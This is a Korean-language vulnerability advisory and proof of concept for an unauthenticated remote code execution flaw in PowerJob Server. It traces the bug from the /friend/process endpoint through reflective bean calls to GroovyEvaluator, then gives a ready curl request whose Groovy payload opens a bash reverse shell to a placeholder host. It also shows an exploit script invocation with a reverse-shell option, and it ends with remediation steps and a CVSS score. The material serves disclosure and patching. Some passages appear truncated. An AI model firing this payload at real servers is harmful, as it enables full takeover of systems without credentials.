
인증되지 않은 원격 코드 실행 취약점을 악용하는 PowerJob Server용 익스플로잇으로, /friend/process 엔드포인트의 Groovy 주입을 통해 임의 명령 실행 및 리버스 셸을 가능하게 합니다.
/friend/process (Groovy 주입)를 통한 원격 코드 실행PowerJob 서버(분산 작업 스케줄링/컴퓨팅 프레임워크)는 Worker↔Server 전송 계층 HTTP 포트 10010에서 /friend/process 엔드포인트를 어떠한 인증 없이 노출합니다. 이 엔드포인트는 임의의 Spring Bean의 임의의 public 메서드를 반영하며, 공격자가 GroovyEvaluator.evaluate를 호출하여 임의의 Groovy 표현식을 실행할 수 있어 무인증 원격 코드 실행이 가능합니다. 기본 docker-compose는 이 포트를 0.0.0.0에 게시하므로, 자격 증명 없이 서버가 완전히 손상될 수 있습니다.
docker-compose.yml:29-33,47-48은 10010(HTTP 전송), 10086(AKKA), 10077(MU)을 호스트 0.0.0.0에 게시| 항목 | 값 |
|---|---|
| 트리거 엔드포인트 | POST http://<server>:10010/friend/process |
| 등록 | FriendActor.java @Actor(path = "friend") + @Handler(path = "process") (HTTP/MU/AKKA 세 프로토콜 모두에 등록) |
| 반영 실행 | RemoteRequestProcessor.processRemoteRequest() |
| 위험한 싱크 | GroovyEvaluator.evaluate() → ScriptEngine.eval() |
| 인증 누락 | HttpVertxCSInitializer (HTTP) / MuServerHandler (MU)가 토큰/서명 검사 없이 라우트 등록 |
주요 소스 파일(저장소 루트 기준):
powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (10010 라우트 등록, 인증 없음)powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28RemoteRequestProcessor.processRemoteRequest는 요청 본문의 className, methodName, parameterTypes 및 args 필드를 완전히 신뢰합니다. Class.forName + SpringUtils.getBean을 사용하여 임의의 Spring Bean을 얻은 다음 Spring ReflectionUtils를 통해 해당 Bean의 public 메서드를 호출합니다.GroovyEvaluator는 evaluate(String, Object)가 Groovy 스크립트 엔진(ScriptEngineManager)을 호출하여 공격자의 표현식을 직접 eval()하는 @Component Bean입니다.세 가지의 조합은 무인증 RCE와 같습니다.
'id'.execute().text)으로 GroovyEvaluator.evaluate를 대상으로 하는 RemoteProcessReq JSON입니다.AskResponse.data(base64 JSON)로 공격자에게 반환됩니다.환경: JDK 17, 소스 빌드 powerjob-server-starter-5.1.2.jar(daily 프로필), 서버가 192.168.49.128:10010에서 수신 대기. JDK 21에서 재검증됨(아래 셸 형식 페이로드는 둘 다에서 작동하며, 아래 File.write에 대한 참고 사항 참조).
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
"className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
"methodName": "evaluate",
"parameterTypes": ["java.lang.String","java.lang.Object"],
"args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'
실제 응답: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. data 필드를 Base64 디코딩하면 서버 JVM에서 실행된 명령 출력이 생성됩니다:

또는 스크립트를 사용하여 재현할 수 있습니다:
python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878
/friend/process는 Server↔Worker 내부 통신의 일부이므로 무인증 요청을 거부하거나, 해당 메서드를 원격으로 호출할 수 없어야 합니다.RemoteRequestProcessor를 허용 목록으로 변경: className/methodName을 프레임워크 정의 안전 핸들러로 제한하고 임의 Bean의 반영 호출을 금지합니다.GroovyEvaluator의 원격 도달성을 제거하거나 엄격히 제한합니다(유지해야 하는 경우 인증 및 샌드박스 추가)./friend/process(S4S_HANDLER_PROCESS)를 기본적으로 비활성화하거나 내부 소스로만 제한합니다.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 치명적
mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package/friend/process는 데이터베이스 없이 트리거 가능)java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...